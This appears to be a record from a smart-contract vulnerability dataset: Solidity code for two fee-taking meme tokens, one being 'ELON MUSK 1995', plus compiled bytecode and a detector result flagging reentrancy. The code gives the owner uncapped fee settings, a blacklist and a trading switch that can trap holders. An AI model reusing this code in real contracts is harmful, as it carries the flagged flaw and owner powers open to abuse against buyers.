uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063c3c8cd8011610064578063c3c8cd80146104f7578063c492f0461461050c578063dd62ed3e1461052c578063ea1644d51461057257600080fd5b806398a5c31514610467578063a2a957bb14610487578063a9059cbb146104a7578063bfd79284146104c757600080fd5b80638da5cb5b116100d15780638da5cb5b146104135780638f70ccf7146104315780638f9a55c01461045157806395d89b41146101f357600080fd5b8063715018a6146103c857806374010ece146103dd5780637d1db4a5146103fd57600080fd5b8063313ce567116101645780636b9990531161013e5780636b999053146103535780636d8aa8f8146103735780636fc3eaec1461039357806370a08231146103a857600080fd5b8063313ce567146102f757806338bf3cfa1461031357806349bd5a5e1461033357600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ab6565b610592565b005b3480156101ff57600080fd5b50604080518082018252600a815269115b99d859d95b595b9d60b21b6020820152905161022c9190611be0565b60405180910390f35b34801561024157600080fd5b50610255610250366004611a0c565b61063f565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b50662386f26fc100005b60405190815260200161022c565b3480156102cd57600080fd5b506102556102dc3660046119cc565b610656565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022c565b34801561031f57600080fd5b506101f161032e36600461195c565b6106bf565b34801561033f57600080fd5b50601554610285906001600160a01b031681565b34801561035f57600080fd5b506101f161036e36600461195c565b6107a9565b34801561037f57600080fd5b506101f161038e366004611b7d565b6107f4565b34801561039f57600080fd5b506101f161083c565b3480156103b457600080fd5b506102b36103c336600461195c565b610887565b3480156103d457600080fd5b506101f16108a9565b3480156103e957600080fd5b506101f16103f8366004611b97565b61091d565b34801561040957600080fd5b506102b360165481565b34801561041f57600080fd5b506000546001600160a01b0316610285565b34801561043d57600080fd5b506101f161044c366004611b7d565b61094c565b34801561045d57600080fd5b506102b360175481565b34801561047357600080fd5b506101f1610482366004611b97565b610994565b34801561049357600080fd5b506101f16104a2366004611baf565b6109c3565b3480156104b357600080fd5b506102556104c2366004611a0c565b610a01565b3480156104d357600080fd5b506102556104e236600461195c565b60106020526000908152604090205460ff1681565b34801561050357600080fd5b506101f1610a0e565b34801561051857600080fd5b506101f1610527366004611a37565b610a62565b34801561053857600080fd5b506102b3610547366004611994565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057e57600080fd5b506101f161058d366004611b97565b610b11565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016105bc90611c33565b60405180910390fd5b60005b815181101561063b576001601060008484815181106105f757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063381611d46565b9150506105c8565b5050565b600061064c338484610b40565b5060015b92915050565b6000610663848484610c64565b6106b584336106b085604051806060016040528060288152602001611da3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a0565b610b40565b5060019392505050565b6000546001600160a01b031633146106e95760405162461bcd60e51b81526004016105bc90611c33565b6001600160a01b03811661074e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016105bc90611c33565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461081e5760405162461bcd60e51b81526004016105bc90611c33565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061087157506013546001600160a01b0316336001600160a01b0316145b61087a57600080fd5b47610884816111da565b50565b6001600160a01b0381166000908152600260205260408120546106509061125f565b6000546001600160a01b031633146108d35760405162461bcd60e51b81526004016105bc90611c33565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109475760405162461bcd60e51b81526004016105bc90611c33565b601655565b6000546001600160a01b031633146109765760405162461bcd60e51b81526004016105bc90611c33565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109be5760405162461bcd60e51b81526004016105bc90611c33565b601855565b6000546001600160a01b031633146109ed5760405162461bcd60e51b81526004016105bc90611c33565b600893909355600a91909155600955600b55565b600061064c338484610c64565b6012546001600160a01b0316336001600160a01b03161480610a4357506013546001600160a01b0316336001600160a01b0316145b610a4c57600080fd5b6000610a5730610887565b9050610884816112e3565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016105bc90611c33565b60005b82811015610b0b578160056000868685818110610abc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610ad1919061195c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b0381611d46565b915050610a8f565b50505050565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b81526004016105bc90611c33565b601755565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610d8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000546001600160a01b03848116911614801590610db857506000546001600160a01b03838116911614155b1561109957601554600160a01b900460ff16610e51576000546001600160a01b03848116911614610e515760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bc565b601654811115610ea35760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bc565b6001600160a01b03831660009081526010602052604090205460ff16158015610ee557506001600160a01b03821660009081526010602052604090205460ff16155b610f3d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bc565b6015546001600160a01b03838116911614610fc25760175481610f5f84610887565b610f699190611cd8565b10610fc25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bc565b6000610fcd30610887565b601854601654919250821015908210610fe65760165491505b808015610ffd5750601554600160a81b900460ff16155b801561101757506015546001600160a01b03868116911614155b801561102c5750601554600160b01b900460ff165b801561105157506001600160a01b03851660009081526005602052604090205460ff16155b801561107657506001600160a01b03841660009081526005602052604090205460ff16155b1561109657611084826112e3565b47801561109457611094476111da565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110db57506001600160a01b03831660009081526005602052604090205460ff165b8061110d57506015546001600160a01b0385811691161480159061110d57506015546001600160a01b03848116911614155b1561111a57506000611194565b6015546001600160a01b03858116911614801561114557506014546001600160a01b03848116911614155b1561115757600854600c55600954600d555b6015546001600160a01b03848116911614801561118257506014546001600160a01b03858116911614155b1561119457600a54600c55600b54600d555b610b0b84848484611488565b600081848411156111c45760405162461bcd60e51b81526004016105bc9190611be0565b5060006111d18486611d2f565b95945050505050565b6012546001600160a01b03166108fc6111f48360026114b6565b6040518115909202916000818181858888f1935050505015801561121c573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112378360026114b6565b6040518115909202916000818181858888f1935050505015801561063b573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b60006112d06114f8565b90506112dc83826114b6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138d57600080fd5b505afa1580156113a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c59190611978565b816001815181106113e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461140c9130911684610b40565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611445908590600090869030904290600401611c68565b600060405180830381600087803b15801561145f57600080fd5b505af1158015611473573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114955761149561151b565b6114a0848484611549565b80610b0b57610b0b600e54600c55600f54600d55565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611640565b600080600061150561166e565b909250905061151482826114b6565b9250505090565b600c5415801561152b5750600d54155b1561153257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061155b876116ac565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061158d9087611709565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115bc908661174b565b6001600160a01b0389166000908152600260205260409020556115de816117aa565b6115e884836117f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161162d91815260200190565b60405180910390a3505050505050505050565b600081836116615760405162461bcd60e51b81526004016105bc9190611be0565b5060006111d18486611cf0565b6006546000908190662386f26fc1000061168882826114b6565b8210156116a357505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116c98a600c54600d54611818565b92509250925060006116d96114f8565b905060008060006116ec8e87878761186d565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111a0565b6000806117588385611cd8565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b60006117b46114f8565b905060006117c283836118bd565b306000908152600260205260409020549091506117df908261174b565b30600090815260026020526040902055505050565b6006546118019083611709565b600655600754611811908261174b565b6007555050565b6000808080611832606461182c89896118bd565b906114b6565b90506000611845606461182c8a896118bd565b9050600061185d826118578b86611709565b90611709565b9992985090965090945050505050565b600080808061187c88866118bd565b9050600061188a88876118bd565b9050600061189888886118bd565b905060006118aa826118578686611709565b939b939a50919850919650505050505050565b6000826118cc57506000610650565b60006118d88385611d10565b9050826118e58583611cf0565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bc565b803561194781611d8d565b919050565b8035801515811461194757600080fd5b60006020828403121561196d578081fd5b81356112dc81611d8d565b600060208284031215611989578081fd5b81516112dc81611d8d565b600080604083850312156119a6578081fd5b82356119b181611d8d565b915060208301356119c181611d8d565b809150509250929050565b6000806000606084860312156119e0578081fd5b83356119eb81611d8d565b925060208401356119fb81611d8d565b929592945050506040919091013590565b60008060408385031215611a1e578182fd5b8235611a2981611d8d565b946020939093013593505050565b600080600060408486031215611a4b578283fd5b833567ffffffffffffffff80821115611a62578485fd5b818601915086601f830112611a75578485fd5b813581811115611a83578586fd5b8760208260051b8501011115611a97578586fd5b602092830195509350611aad918601905061194c565b90509250925092565b60006020808385031215611ac8578182fd5b823567ffffffffffffffff80821115611adf578384fd5b818501915085601f830112611af2578384fd5b813581811115611b0457611b04611d77565b8060051b604051601f19603f83011681018181108582111715611b2957611b29611d77565b604052828152858101935084860182860187018a1015611b47578788fd5b8795505b83861015611b7057611b5c8161193c565b855260019590950194938601938601611b4b565b5098975050505050505050565b600060208284031215611b8e578081fd5b6112dc8261194c565b600060208284031215611ba8578081fd5b5035919050565b60008060008060808587031215611bc4578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c0c57858101830151858201604001528201611bf0565b81811115611c1d5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb75784516001600160a01b031683529383019391830191600101611c92565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ceb57611ceb611d61565b500190565b600082611d0b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2a57611d2a611d61565b500290565b600082821015611d4157611d41611d61565b500390565b6000600019821415611d5a57611d5a611d61565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206164e5c3a1d8971d081eaf53373bdecb38ba9afe149b16ec17cbaf2352290d5164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,950 |
0xf395aabb94f2923ff66b193de70aad11469831c0
|
/**
███████╗██╗ ██████╗ ███╗ ██╗ ███╗ ███╗██╗ ██╗███████╗██╗ ██╗ ██╗ █████╗ █████╗ ███████╗
██╔════╝██║ ██╔═══██╗████╗ ██║ ████╗ ████║██║ ██║██╔════╝██║ ██╔╝ ███║██╔══██╗██╔══██╗██╔════╝
█████╗ ██║ ██║ ██║██╔██╗ ██║ ██╔████╔██║██║ ██║███████╗█████╔╝ ╚██║╚██████║╚██████║███████╗
██╔══╝ ██║ ██║ ██║██║╚██╗██║ ██║╚██╔╝██║██║ ██║╚════██║██╔═██╗ ██║ ╚═══██║ ╚═══██║╚════██║
███████╗███████╗╚██████╔╝██║ ╚████║ ██║ ╚═╝ ██║╚██████╔╝███████║██║ ██╗ ██║ █████╔╝ █████╔╝███████║
╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚════╝ ╚════╝ ╚══════╝
ELON MUSK likes https://twitter.com/teslaownersSV/status/1506834362439925768?s=20&t=GvbG7Ano6yS_eE2q-VzXFw
https://t.me/ELONMUSK1995
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ELONMUSK1995 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ELON MUSK 1995";
string private constant _symbol = "ELONMUSK1995";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1995000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 15;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 20;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x795b8b4F471f65e787837c4a1a1F314bd09EC245);
address payable private _marketingAddress = payable(0x795b8b4F471f65e787837c4a1a1F314bd09EC245);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 39950000 * 10**9; //1%
uint256 public _maxWalletSize = 199500000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 199500000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
